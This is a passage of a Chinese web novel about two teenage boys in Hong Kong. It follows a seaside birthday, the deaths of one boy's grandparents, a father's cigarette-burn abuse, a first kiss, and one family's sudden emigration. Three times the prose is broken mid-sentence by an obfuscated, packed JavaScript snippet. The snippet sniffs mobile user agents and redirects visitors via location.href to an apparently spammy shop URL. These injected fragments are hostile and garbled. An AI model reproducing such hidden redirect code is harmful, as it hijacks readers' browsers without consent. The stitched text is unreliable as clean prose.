“不,你是没见过我以前生日,那才叫寒酸,”江扩说,“这次对我来说已经算得上豪华。” 两人一个躺着一个趴着,在树荫下静静等日落。 那边过来几对小情侣,也靠在树荫下乘凉。江扩和黎大福两人在他们之间显得格格不入。 “下次我们看海带个遮阳伞吧。”江扩提议。 “什么时候?”黎大福问。 “都可以。”江扩回答道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721999|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良久江扩觉得热了些,坐起来脱掉衬衫,露出线条柔和的肌肉。黎大福听见声响转头来看,眼神微微一亮。 “大哥,你这身材......”黎大福正要开口。 “闭嘴。”江扩重新趴会黎大福旁边。 黎大福吞了吞口水,很识趣的没再说话。 “好无聊啊,”黎大福又从毯子上爬起来,烦躁地抓了抓凌乱的头发,“我睡不着。” “我也睡不着,”江扩说,“这种环境能睡着我给他鼓鼓掌。” 话毕,那边传来一个老头响震天的呼噜声,时不时夹杂点梦呓。 黎大福用嘲讽的眼神瞥了江扩一眼,“鼓吧。” 江扩无奈瞄了瞄那个遮阳伞下睡着的老伯伯,抬手象征性地鼓了几下掌。 两人又重新躺下。 黎大福没再翻来覆去,双眼凝视着树上的大片叶子,似乎在思考人生。 江扩去观察黎大福根根分明的长睫毛,又转头舒服地闭上眼睛。 好久没这么舒服过了...... 徘徊在睡着边缘时,江扩突然感觉到旁边有人凑近,耳旁鼻息轻轻扫过。 江扩清醒过来,但没打算睁开眼睛。 “大哥,我好喜欢你啊,”黎大福用指腹轻轻点了一下江扩的鼻尖,“你要是喜欢男生就好了,如果你说喜欢男的我一定会追你,可惜你不喜欢。” “大哥,生日快乐......”黎大福说,“我姐告诉我说不定你是骗我的,说不定你也喜欢男孩子呢,但是我觉得你应该不会骗我,我相信你。” 江扩心里漾起万分悸动。这是他第N次想搂紧黎大福,就那样吻下去,什么狗屁大哥荣也不管。 可是他不能。 相比让黎大福做他的男朋友,他更想要黎大福避开大哥荣的枪子儿活下去。 直到落日的温柔余辉照到江扩脸上,他才假装醒了过来。 “大哥你醒了。”黎大福坐在旁边的沙滩上堆沙子。 “你堆的是什么。”江扩打了个呵欠。 “城堡,”黎大福拿着一个玩具铲子,“试试吗?跟那边几个小朋友借的。” “这城堡啊?”江扩对着黎大福面前的几个小破土堆皱了眉,“这分明是乱葬岗的坟堆嘛。” “我尽力了!”黎大福啧了一声,“你试试啊。” 江扩接过玩具铲子,很快弄出一个古代城楼模样的土堆。黎大福对着城楼目瞪口呆,心里默默感慨他大哥居然还有这种技能。 “知道是什么吗?”江扩轻轻压了一下城楼旁边的海沙,“进贤门,揭阳的地标建筑。” “好玩吗?”黎大福问。 “还行,但是我很少去,奶奶要做手工,爷爷要拉货,我要上学都没啥空。”江扩回答。 天色渐渐灰暗,仅剩海天地平线上的一抹淡淡的夕阳。 “该拿蛋糕了。”黎大福说。 拿了蛋糕,为了避免蛋糕沾上沙子,两人选择坐到一块大岩石上。 江扩插了八根蜡烛到蛋糕上,对潮汕人来说,八象征着吉利。黎大福拿出打火机,熟练地把八根蜡烛点燃。 “恭祝你福寿与天齐,庆贺你生辰快乐......”黎大福操着五音不全的歌喉唱道。 “等等,”江扩伸出尔康手,“你你你唱的什么?” “生日歌啊。”黎大福吸了吸鼻子。 “我听不太懂。”江扩无奈道。 “祝你生日快乐,祝你生日快乐......”黎大福这才认真唱起国语版的生日歌。 还是一如既往的跑调。 江扩憋着笑,闭上眼开始给自己默念许愿。 “第一,希望能早日离开香港;第二,希望爷爷奶奶能身体健康......” “第三,希望黎大福能好好的,希望能一直陪着黎大福。” “大福,我也喜欢你。” 20. 第 20 章 两年后,两千零八年,初秋。 江扩顺利升上中四,终于不用再见到那个天天讽刺挖苦他的化学老头。 两人几乎每隔一周,都会去药店门口那个身高体重秤量一下。 “又是你们两个,”老板杵在药店门口啧了一声,“我这称都快被你们站塌了。” “最后一次最后一次。”江扩用标准白话大声回答道。 “最近不怎么长个啊,”黎大福感慨,“一直在一米八一。” “奇怪了,”江扩站了上去,“上次学校体检还是一米八六,怎么变成一米八五了。” “大哥你是不知道,”黎大福说,“早上和晚上量身高是有点出入的,早上比较高。” “好像在哪看过。”江扩道。 “好像是人的脊椎有关节间隙,一天的活动会使人关节间的间隙变小,所以晚上量就矮了一点点。”黎大福回答。 “真棒,不愧是学霸。”江扩揉了揉黎大福乱成鸡窝的头发。 黎大福立刻露出一副可怜巴巴的小狗模样,朝江扩身旁凑近过去。如果黎大福有狗尾巴,现在也该摇成一朵花了。 小夯货还是小夯货,一如既往的可爱。只是和两年前的不同,一米七的小夯货如今也进化成一米八一的小夯货了。 “大哥,回家了。”黎大福回答。 黎大福口中的家并不是大哥荣的老巢。一年前大哥荣的老巢被仇家蓄意纵火未遂,江扩在房间里差点命丧黄泉。好在歹徒落网。 为了保命江扩通常会跟黎大福回铜锣湾,直到晚上才敢回家。 这种受他爸影响走两步都怕被跟踪的日子,也不知道什么时候是个头。 两人坐叮叮车回了铜锣湾。 黎多财最近找到份新工作,在时代广场里的餐饮店当服务生,也算是过上了一段安稳日子。 “姐。”黎大福关上门。 “哟,你俩天天黏在一块儿也不嫌烦啊。”黎多财把烟掐进烟灰缸。 “不烦。”黎大福笑眯眯跟江扩进了房间。 “今天数学课没一点是听得懂的。”江扩把书包甩到床上,靠到椅背上长叹一口气。 “巧了,我这次数学测验满分,”黎大福摊出一只手,“来吧大哥,黎老师教你数学。” “你怎么这么牛逼?”江扩啧啧称奇,一边掏出数学课本和功课,“到时候会考你分我一半分数呗,保证能上港大。” “那可不,”黎大福笑道,“这得你自己争取了,你这成绩要通过会考也不难。” “开始吧。”江扩把功课放到书桌上。 两人开始一轮数学复习。 黎多财在外面抽了几根烟后,悄悄踮起脚尖趴到房间门口偷听。 内容全是学习,感情线是一点没碰。这两年来他弟跟这位大哥可谓是一点进展都没有,看来黎大福之前说江扩是个直男果然没错。 黎多财叹了口气,到厕所化了个全妆便去上班。 晚上八点多,江扩终于收拾完东西坐叮叮车回了江广荣老巢。 不久黎大福一对父母回家,在客厅扯着大嗓门聊天。内容无非是今天赚了多少钱,还有最近越频繁提起的移|民计划。 每次听到黎雄跟郭霞俩人赚了大钱,黎大福心里的恐惧就会增加一份。每天晚上父母看翡翠台开奖节目,黎大福都会对着天上各路神仙祈祷他俩千万别中头奖。仿佛家里越穷,他就越安心。 全天下也只有他了。 这天晚上又是一次再普通不过的翡翠台开奖。 “5!5!5!”黎雄对着翡翠台嘶声力竭。 “第一个号码是五,The first number is five!” “中!中!”郭霞在一旁跟着尖叫。 黎大福扔下笔紧紧捂住耳朵,最后索性跃到床上拿枕头捂住整个脑壳。 “16!16!16!”黎雄吼。 “第二个号码是16,The second number is sixteen!” “啊啊啊啊!”两个发钱寒同时发出尖锐爆鸣声。 “收声啊!”黎大福从床上猛地坐起来咆哮。 外面的尖锐爆鸣声还是没有停止,反而越发失控。 当压轴球的号码出现,黎雄和郭霞顿了几秒,紧接着丧心病狂的尖叫声充斥整个屋子。 头奖,三百多万港币。 “痴线啊,再吵我报警了!”楼上的窗户开了,对着楼下就是一通破口大骂。 这声音只被房间里的黎大福听见,客厅里的两个发钱寒却浑然不知。 黎大福猜出黎雄可能中了头奖,在床上怔了很久。这对他来说可能不算个好消息。 “大福?大福?”江扩轻轻拍了拍黎大福的肩膀,“你小子不用看路吗?” “啊?哦。”黎大福这才注意到面前的电线杆,回过神来。 走了几步,黎大福突然又耍起个小心思。假装踢了一下电线杆,顺势栽倒下去。 江扩也很熟练地扶住他。 黎大福僵了几秒,转身扑到江扩身上去,紧紧搂住江扩。 江扩感受到肩膀上的一股热流,轻轻拍了拍黎大福的背。 “哭啥。”江扩说。 “大哥,我好害怕啊,”黎大福哽咽,“我真的好害怕。” “你到底怕啥?”江扩无奈。 黎大福靠在江扩肩膀上,不愿意开口了。 这两年来,江扩从来不会拒绝这种零距离的身体接触,但也没有表露过哪怕半分好感。 “大哥,走吧。”黎大福松开江扩的身子。 “我总觉得你这两天不对劲儿。”江扩走上去搂着黎大福的肩膀,“什么事大哥看看能不能帮你解决的。” “没有。”黎大福垂着头。 确实这两天,不安的情绪越來越多 ,几乎一整天感觉整个人都是浮着的。只有在江扩身边才能拥有些许安全感。 隔天周末,江扩便先回江广荣的老巢去了。黎大福凝视片刻江扩的背影,也匆匆赶回家。 江广荣正坐在客厅沙发上打电话,旁边站着几个跟屁虫。 电话是大陆号码,从老家那边打来的。聊了几分钟便挂了。 “大哥,节哀。”一个跟屁虫小声道。 “你个冚家铲看见我心情不好了?”江广荣回头扇了一巴掌那个慰问的跟屁虫。 江扩拧钥匙拉开门正好撞见这一幕。 “什么节哀?”江扩意识到一种不详的预感,心猛的一沉。 “你爷爷奶奶死了,”江广荣让跟屁虫给他点了根雪茄,“你爷爷癌症不想治,自己在房间喝农药了,你奶奶跟着喝了。” “开这种玩笑很有趣吗?”江扩面容木讷,用力攥紧书包的肩带。 “我一个四十多岁的人会开这种无聊的玩笑?”江广荣笑了一声。 江扩整个人都空了。 黎雄刚发了横财还没反应过来,这几天跟躁狂患者似的在家里手舞足蹈外加酗烟酗酒。 黎大福这会坐叮叮车回去的时候,郭霞已经准备好一桌饭菜,跟黎雄在饭桌聊移|民美国一事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722000|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎多财上班还没回,最近通常要加班到十一点。 虽然不情愿,黎大福还是捂着饥肠辘辘的肚子坐到饭桌,给自己夹了几块肉陪着肉大快朵颐起来。 “哟,回家也不用跟父母打招呼,家教可真好。”郭霞阴阳怪气道。 黎雄白了这个不成器的儿子一眼,又跟自己酌满一大杯白酒。黎大福扒了几口饭的同时,黎雄已经灌下大杯白酒。 还打了一声酒嗝。 酒气冲天,黎大福皱眉往远处坐去了点,省得沾上酒鬼的难闻味儿。 “我在洛杉矶的唐人街已经托朋友找到好房子住了,签证应该也这两天下来。”黎雄晕头转向地找到自己的一包烟,点了一根。 “咱现在这么有钱,去美国可不能住太差的房子。”郭霞一脸喜滋滋。 黎大福听罢全身一震,手中的铁筷子掉到地上,“叮当”一脆响。 “你们什么时候去?”黎大福故作镇静。 “加上你一个,”黎雄看了黎大福一眼,“没得商量。” “我不可能走,也没得商量。”黎大福一声冷笑。 “你就是这样跟你爸说话的。”郭霞抿了抿两片薄薄的嘴唇。 “我踏马。”黎大福往饭桌上狠狠一拍。 没等黎大福骂完,黎雄把嘴上叼着的烟拿下来,面目狰狞将烟往黎大福左手小臂上狠狠一戳。 “呲”一声。 黎大福瞪大眼睛难以置信地盯着那个烟头烫伤的伤口,周围的空气似乎都闻得出皮肤烧焦的味道。 他没动,也没有惨叫,就那样跟黎雄冷漠凝视。原来人极度愤怒的时候,是真的可以对痛感免疫的。 整个人都麻木了。 “你拿烟头烫他干什么!”郭霞捂着脸尖叫。 “这就是惩罚,懂吗。”黎雄捡起熄灭的烟,又拿打火机重新点燃。 “黎雄,我|操|你|妈|的。”黎大福咬着牙一字一顿冲黎雄的脸骂道。 “你再给我|操一遍试试!”黎雄双手拿住饭桌的桌沿熟练一掀,锅碗瓢盆又是碎了一地。 郭霞又发出一声响彻云霄的尖叫。 “滚出去。”黎雄怒目往门口一指。 黎大福扯了张纸巾擦嘴,背起书包一边朝门口走去。如果可以的话,他宁愿做一辈子乞丐也不再回来这个乱七八糟的地方。 黎大福在附近的叮叮车站站了半个多小时。 从书包掏出烟点燃叼着,时不时抬手观察被黎雄烫伤的伤口。还在渗出一点血水。 轻轻碰了一下,还挺疼。 黎大福拿右手小臂挡住双眼,靠在车站的栏杆上。这会终于有大哭的冲动,可惜眼睛里什么都流不出来。 大概是活生生被憋没的。 远处终于驶过来一辆叮叮车,黎大福揉了揉干涩的双眼登了上去。 从铜锣湾坐到江扩家还需要半个多小时,但这两年都是这么过来的,忍一忍也就到了。 “明天葬礼,我今晚就得回去,”江广荣说,“你就在这呆着,哪都不许去。” “让我回去看一眼,求求你了。”江扩脸色苍白扯着江广荣的衣袖不放。 “你回去干什么?”江广荣徐徐呼出一口烟,“葬礼有什么好看的。” “那你回去干什么?这么多年你有尽到一个儿子的责任吗?你以前理过他们吗?你又回去干什么?”江扩啐了一口。 这一口恰好啐到江广荣脸上。江广荣彻底被激怒,一拳抡到江扩右脸上。 黎大福到的时候,江扩是跪着的。 21. 第 21 章 几个手下按住江扩都没能把人制住。 江扩挣脱那几个跟屁虫的手,扑通一声直接在江广荣身后跪下。 “求你了,让我回去看他们。”江扩再次揪住江广荣的衣摆,嘴唇发白。 江扩印象中的爷爷奶奶是慈眉善目的,也一直很疼他。尽管江广荣把他绑来香港那天爷爷奶奶像个局外人一般站在旁边冷眼旁观,他也没有一刻恨过他们。 现在两个人突然说死就死,叫他怎么能接受得了。 “死人有什么好看的。”江广荣撒开衣摆,大步朝门外走去。 “江广荣,我扑领母。”江扩用尽最后力气骂道。 江广荣从门口出来,恰好在走廊撞上看见这一幕脸色煞白的黎大福。 江广荣淡淡瞥了黎大福一眼,跟几个跟屁虫头也不回地离开了。 楼下的面包车发动引擎,已经走远。 黎大福拿创可贴贴住烫伤的地方,冲进客厅把还在磕头的江扩强行拉起,按在沙发坐好。 江扩捂着胸口大口喘气,仿佛下一秒就要心脏病发作。这会想哭又哭不出来,一股乱七八糟夹杂各种不良情绪的怒火憋在胸口,几乎能咳出淤血。 “大哥,用不用去医院。”黎大福轻轻搓着江扩的背。 “不去。”江扩咳了几声,终于从眼里咳出几滴眼泪。 “想吐。”江扩哽咽道。 黎大福立刻起身,搀着江扩摇摇晃晃的身体进了厕所的门。 刚一进厕所,江扩立刻趴到马桶边缘,对着马桶一通狂吐。 黎大福站在旁边大气不敢出。 “不要看我,”江扩趁着呕吐的间隙,咬紧牙关对黎大福说,“出去。” “不行,我不能出去,我得在这儿看着你。”黎大福咬着下唇说。 “出去。”江扩用僵硬的语气又重复一遍。 黎大福跟江扩怯怯对视几秒,这才走出厕所靠在门旁边的白墙上。抬手揉了揉发红的眼眶。 厕所里的呕吐声还没停止,黎大福出于担心偷偷探出头在门口观察。 江扩已经没了力气,整个人趴在马桶边缘小口喘气。呕吐刺|激出生理眼泪,满脸是七横八竖的泪痕。 直到吐不出任何东西,黎大福才把半死不活的江扩扶到房间的床上。 “水。”江扩哑着声说。 黎大福小跑出了客厅,拿出江扩的杯子倒了半杯温水。 “好少。”江扩接过水杯小声说。 “吐完不能喝太多水。”黎大福回答。 江扩一口气灌完半杯温水,把水杯往地上猛地一掼。水杯在地上炸开花,成了一堆亮晶晶的玻璃碎片。 “大哥,到底怎么了?”黎大福坐到江扩身边,“你这样我真的很担心。” “爷爷奶奶死了。”江扩对着地上的碎片发愣。 “怎么死的?”黎大福讷讷问。 “水。”江扩舔了舔干燥的嘴唇。 黎大福起身正要给江扩再倒一杯温水,江扩突然伸出手抓住黎大福的衣摆。 “怎么了?”黎大福转过身。 “胃疼,”江扩捂着上腹一脸麻木,“我想去医院。” “好。”黎大福俯身将江扩轻轻搀起来。 下了楼,很快拦到一辆的士。 “去最近的医院。”黎大福对司机说。 路上江扩还是神情呆滞望着窗外。黎大福隔着衣服轻轻摸了一下江扩的肚子。 “还疼吗?”黎大福小声问道。 “嗯。”江扩靠在黎大福肩膀上不动了。 的士开到圣保禄医院的大门面前,黎大福扶着江扩付钱下了车。 “这哪?”江扩抬眸看了一下大门上面的小字,又捂着嘴干呕一声。 “医院啊。”黎大福回答。 “快走。”江扩攥紧黎大福的衣袖。 挂完号,两人坐在诊室门口等叫号。 “大福,我难受。”江扩两只手紧紧按着膝盖,面目憔悴。 “哪里难受?胃吗?”黎大福轻轻搓了几下江扩的背。 “全身难受,”江扩痛苦地喘了几下,“我觉得我快死了。” “怎么会死呢,你就是悲伤过度胃疼了,”黎大福虽然不相信江扩的鬼话,声音却也开始颤抖,“没听说过胃是情绪器官吗,你肯定是被刺|激到才这样的,怎么会死呢?” 江扩扭头,愣愣地看着黎大福渐红的眼眶。 “我不会死。”江扩抬手揉了揉黎大福的头。 那边诊室的门开了,出来一个病人。下一个正好轮到江扩。 “我自己进去。”江扩推开黎大福。 黎大福在门外愣了半刻,又推开门闯了进去。 说明清楚情况后,又拿着单子到楼下抽血检查。差点还做胃镜。 然而几个小时过去,医生给出的结果只有应激导致的胃痛,其它没有任何问题。 拿了药回去已经是半夜。 “你回去吧。”江扩拿过药袋,朝黎大福虚弱地笑了一下。 “车都停运了,我怎么回去?”黎大福叹了口气,“我今晚本来就没打算回去,和家里人吵架了。” “又吵架?吵什么了?”江扩皱眉。 “没什么。”黎大福低下头。 “走吧,反正今晚江广荣那个傻|逼也没回来。”江扩扶着楼梯栏杆慢慢移上去。 晚上两人都没什么心情,江扩的胃也时好时坏。收拾完地上的碎片便很快躺下了。 “怎么会这样?”江扩睁着无神的双眼直直盯着天花板上的小灯。 “什么怎么会这样?”黎大福翻过身对着江扩。 “我来的那会明明都好好的,怎么会突然死了呢?”江扩哽咽一下,又假装咳嗽掩盖声音。 “你已经来香港两年多,这两年就能发生很多事了,”黎大福安慰道,“大哥你也别太伤心,就算爷爷奶奶去世了,他们也希望你好好的。” 江扩翻过身拿后背对着黎大福,自己默默对着衣柜无声流泪。 那边安静下来,江扩猜黎大福累了一天大概已经睡着了,捂着嘴不敢哭出声。 也不知道偷偷哭了多久,鼻子开始塞得难受。 江扩终于没忍住翻了个身,才发现黎大福根本没睡着,一直在盯着他看。黑暗中黎大福清澈明亮的双眸满是担心。 “你干什么。”江扩问。 “我睡不着。”黎大福脱口而出。 “我也是。”江扩说。 “擦擦眼泪。”黎大福不知道从哪找出几张皱皱的纸巾,塞到江扩怀里。 江扩干脆坐起来擤鼻涕,几张纸巾没多久便用完了。 “大哥,你不要哭,还有我呢。”黎大福凑过去把下巴抵在江扩肩膀上。 江扩把最后一个纸团扔进垃圾桶,顿了几秒竟开始抱着被子哭出声来,眼泪怎么都关不了闸。 “大哥你你你别哭,你眼睛都肿了,要瞎咯。”黎大福慌慌张张爬到床尾顺来书桌的一包新纸巾,扯了几张给江扩擦眼泪。 “不要擦。”江扩突然耍起性子,把纸巾挥向空中,自己扑到枕头上。哭声极其低沉难听。 黎大福叹了口气。为了不让江扩哭成瞎子,黎大福只好亲力亲为,到厕所弄了块湿毛巾给江扩擦眼。 “大哥,坐起来。”黎大福捂住温毛巾站到床边。 江扩慢腾腾从床上坐起来,一双脚踩到拖鞋上。 黎大福捏着温热的湿毛巾,俯身轻轻拭去江扩脸上残留的泪痕。 “谢谢。”江扩闭上自己红肿的双眼,这样更能感受黎大福带来的丝丝温暖。 江扩对黎大福的愧疚在此刻到达巅峰。 黎大福喜欢了他两年,然而这两年因为他的一句话,黎大福没敢有半分逾越。 但黎大福浑然没有发觉,江扩其实也憋得很痛苦。 “大哥,你的嘴唇好干,都起皮了。”黎大福用指腹轻轻抚摸几下江扩嘴唇上的死皮。 江扩猛地捏住黎大福的手腕,目光炽热和黎大福对视。 尽管在这种悲痛欲绝的时候产生欲望有些不合时宜,但江扩偏偏就产生了。 “大哥,你......”黎大福眨了眨眼。 未等黎大福说完,江扩双手勾过黎大福白皙的颈部,将双唇迎了上去。 技术极其笨拙,两人的门牙好巧不巧磕出一声脆响,同时发出长长的哀嚎。 江扩只好暂时偏开头,等黎大福缓过来。 “疼。”黎大福捂住嘴,忍不住笑了一声。 “对不起。”江扩垂下头。 两人沉默的同时,也察觉到一丝尴尬的气氛。 “我睡了。”江扩掀开被子正要躺进去。 “别睡!”黎大福急了。 “不睡要干嘛?”江扩不耐烦道。 “亲。”黎大福委屈地吸了吸鼻子。 “不亲。”江扩黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722001|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脸拒绝。 “你大爷的。”黎大福骂完,干脆自己主动扑了上去。 不行了,豁出去了。 江扩终于给出回应,轻轻撬开黎大福的齿间,舌与舌笨拙地交缠。由于双方毫无经验,一切只能由他自由发挥。 黎大福顺势带着江扩躺倒在床。这个吻他等了两年。 下半夜江扩睡得很沉,昨晚的心乱如麻尽数表现在梦境中。 梦境有些复杂。先是爷爷奶奶的尸体变异成僵尸跳到他面前,又是自己被江广荣的仇家蓄意纵火烧死。 再然后就到了近两年来经常梦见的场景。 黎大福做了自己的男朋友,黎大福被江广荣用各种方法弄死,黎大福浑身是血在他面前倒下,黎大福...... 江扩惊醒过来的时候,黎大福还是熟睡的。睡容很乖,一如既往的可爱。 脑里不断闪过江广荣两年前对准他的那把真家伙。 以及彻底反应过来爷爷奶奶已经去世的事实。 趁黎大福还在睡觉,江扩悄悄下床,把地上乱七八糟的纸巾团捡起,扔进纸篓。 黎大福睡到自然醒的时候,江扩已经在伏案温书。 “醒了?”江扩手中的笔没有停。 “嗯。”黎大福走到江扩身后,略带羞涩俯身环住江扩的腰。 “别碰我,不舒服。”江扩皱眉。 黎大福怔了几秒,这才拖了张椅子在旁边坐下。 “我饿了。”黎大福说。 “下楼吃肠粉吧。”江扩放下笔。 下楼梯时,黎大福又过去想牵江扩的手。 “好好走路。”江扩佯装不耐烦,将黎大福的手甩开。 黎大福搞不清楚为什么江扩要忽冷忽热,明明昨天晚上他俩都亲上了。 肠粉吃了一半,江扩想起老家的不久前双双去世的爷爷奶奶,又滴了几颗眼泪在肠粉上。 黎大福从一旁扯来几张纸巾,伸过去给江扩擦眼泪。 “大哥你别哭。”黎大福不敢用力,只是拿纸巾轻轻碰了几下江扩的脸。 江扩抢过纸巾,“我自己擦。” 吃完一顿肠粉,江扩的好不容易恢复的眼睛又肿起来。 “你回家吧。”江扩说。 “不回。”黎大福脱口而出。 “随便你。”江扩扶着楼梯栏杆上了楼。 黎大福跟了上去。 刚回到家,江扩又趴回书桌上学习。黎大福见状也拿出功课。 整个房间只有执笔的沙沙声,两人都没开口说话。 不久黎大福学累了,干脆放下笔,右手托腮偷看江扩的侧脸。 “你以后想当什么?”黎大福突然问。 “警察,”江扩悠悠道,“我要亲手把大哥荣送进监狱。” “警察啊,”黎大福想了一下,“要是你当了警察,就没那么多时间陪我了,我想你了怎么办?” “陪你?”江扩手上的笔顿了顿,“我为什么要陪你?你又不是我什么人。” 黎大福瞬间面色铁青。 “那你昨天晚上。”黎大福带着哭腔说。 “那是个意外,”江扩叹了口气,“是我太冲动了,你就当没发生过吧。” “江扩!”黎大福怒拍书桌,猛地踢开椅子站起身。 “我是为你好。”江扩故作镇静道。 “为我好?”黎大福彻底被江扩长时间模糊不清的态度激怒,“十几年前我爸妈抓我来香港,也说是为了我好;几年前爸妈塞我进那所垃圾贵族中学也说是为我好!到底是不是为我好你们自己心里清楚!” 江扩手中的笔颤了一下。 “江扩,我|操|你|大|爷的,”黎大福冷笑,“你跟我爸妈就是一类人。” “你再骂一遍试试!”江扩扔下笔,转身跟黎大福冷眼对峙。 “江扩我|操|你|大|爷的,我不仅要骂,还要揍你。”黎大福一边骂骂咧咧,一边伸爪去揪江扩的衣领,往脸上抡拳头。 这是小夯货两年来第一次冲大哥发飙。江扩脸上结结实实挨了一拳,但由于心虚根本不敢还手。 “我真操了,我以后不会再来,你个冚家铲就孤独终老吧。”黎大福收拾完东西骂骂咧咧离开了。 江扩脸还在火|辣辣的疼。捂着脸转身去看黎大福离开的背影,嘴唇翕动。良久用口型悠悠吐出几个字。 “大福啊,你是不知道我有多喜欢你。” 22. 第 22 章 黎大福这一走,就真的没再回来。 隔天是周日。江扩去补习班上了一上午的课,下午在家复习。 江广荣参加完父母的葬礼,从老家赶回来做生意。 明年就是中五了。在香港中五的学生需要参加一次会考,相当于大学预科考试。如果会考不通过,就没法参加接下来的大学考试,除非复读。 江扩必须为接下来的会考做准备。 江扩以为黎大福只是跟他置气,放学那天黎大福还会和往常一样满脸笑容在学校门口等他。 然而周一下午放学,门口并没有黎大福的身影。 “这小子赌气跟我赌这么久呢。”江扩骑着单车独自回了江广荣的老巢,一边喃喃道。 周二放学江扩信心满满跑出学校门口,还是没见到那个熟悉的身影。 周三也是如此。 江扩有点慌了。 回到家,江收和黑魔仙正坐在沙发聊天。江广荣也在旁边,几人正在为江收明天的生日庆祝做准备。 这两年江扩的生日,江广荣没有给过一次生日祝福,都是黎大福跟江扩一起过。然而对于江收这个好女儿的生日,都是一家人整整齐齐吃蛋糕唱K。 江扩突然有点反胃,板着脸进了房间。 “哥!”江收又在外边敲门。 “我踏马不是你哥,”江扩毫不友善的声音从里面传出来,“滚。” “你这个儿子脾气太好了。”黑魔仙在客厅阴阳怪气道。 “哥,来参加我的生日派对!”江收又敲了几下门。 “滚!”江扩连续几天没见到黎大福,心情愈发烦闷。 江收悻悻然回了沙发。 “屌。”江扩见数学题错了一半,忍不住骂了一声。 隔天上学。 听见排球老师要找男同学入队训练,江扩心血来潮报了一个名额。 放学时江扩兴冲冲跑出学校门口,想告诉黎大福这个好消息。 黎大福还是不在。 江扩心里一阵空落落。 “诶你那个小弟怎么没见着人啊?”许添佑忍不住问了一句。 “不知道,别问我。”江扩一脸不耐烦走开了。 一周下去,江扩更慌了。 周五放学江扩赶上叮叮车,想去黎大福家问个清楚。 叮叮车到了铜锣湾站,江扩刷了卡撒腿就往黎大福家跑。 顶楼的门是敞开的,里面出来一个陌生的女人,正打紧电话。 江扩愣了一会正要开口,楼梯又上来两个搬家的工人,抬着一架旧钢琴走上来。 “就是这里就是这里。”那个陌生的女人朝钢琴挥手。 “请问这间房的主人在哪?”江扩鼓起勇气问。 “啊?”女人瞥了江扩一眼,“他们搬走了,我是前两日刚搬来的,不知道啊。” 江扩只觉得铺天盖地的窒息感朝他席卷而来。黎大福就这样不辞而别了。 他一个人要怎么过? 究竟是他太软弱,还是黎大福太狠心? 黎大福去哪了? 江扩的太阳穴突突直跳,最后连自己都不清楚是怎么从顶楼走下来的。 二楼那名妓|女正站在门外朝路过的男人抛媚眼。见江扩下来,张了张嘴似乎有话要讲。 “你好,”江扩舔了舔干涩的嘴唇,“请问你知道我朋友搬去哪里了吗?” “外国,”那名妓|女道,“他们一家人移|民了,之前好像还为这件事吵得不轻呢,邻居都报好多次警了。” “哪个国家?”江扩只觉得窒息。 “听说是美国。”妓女回答。 江扩在铜锣湾的叮叮车站愣了很久,嘴里叼着一从根燃尽的烟。 黎大福就这样消失了。 如果那天他没有拒绝黎大福的各种示爱,或许黎大福还能为了他留下来。 江扩憔悴地扫视一周铜锣湾的大街。 “你知道我也很喜欢你吗?”江扩对着街道喃喃自语。 可惜那个人听不到了。 江扩拖着软绵无力的身子回了江广荣的老巢。 “你去哪了?”江广荣叼着雪茄问。 “关你屁事。”江扩砸了房间的门。 从书包里掏出数学题来做,第一道选择题错了。 江扩把订正的红笔扔到台灯上,整个人趴到辅导书上,脑里都是黎大福的一笑一颦。眼泪打湿一半题目。 周末这两天江扩不知道是怎么熬过来的。周一时还顶着恍惚的精神和大熊猫牌眼圈去学校上课。 “江扩来做一下上面这道题。”数学老师对后面双眼呆滞不知在走什么神的江扩说。 江扩还对着窗外树杈上的一对麻雀发愣,丝毫没有注意到全班同学一齐聚在他身上的目光。 “江扩,江扩。”同桌许添佑撞了一下江扩的胳膊。 “干嘛?”江扩扭头不耐烦道。 “江扩,上来做题!”数学老师愠道。 “啊?哦。”江扩这才起身慢吞吞走上讲台。 黑板上的数学题明明很熟悉,江扩却无从下手。 拿粉笔的手在题前颤颤巍巍停了好久,江扩终于放弃,对老师摇头。 “不会。”江扩说。 “你这样子还敢参加会考?”数学老师哼了一声,“回老家耕田吧。” “我家没有田。”江扩回答。 全班一阵哄笑。 “笑咩啊?上堂!”数学老师怒斥一声。 国文课上,江扩又被班主任叫起来背周末布置的课文。 “不会。”江扩站起来一脸无奈。 “周末没有复习吗?”国文老师问。 “忘了。”江扩叹了口气。 下课的时候,江扩果不其然被班主任叫到办公室。 “怎么回事?”班主任问。 “没什么,就是忘了背。”江扩回答。 “你这几天都没怎么认真,是家里出什么事了吗?”班主任叉起腰。 “没有。”江扩摇头。 “明年你们要会考了,你这个成绩勉强能过会考,但是再松懈下去可能连会考都考不上了,”班主任说,“再这样下去,我要叫家长。” 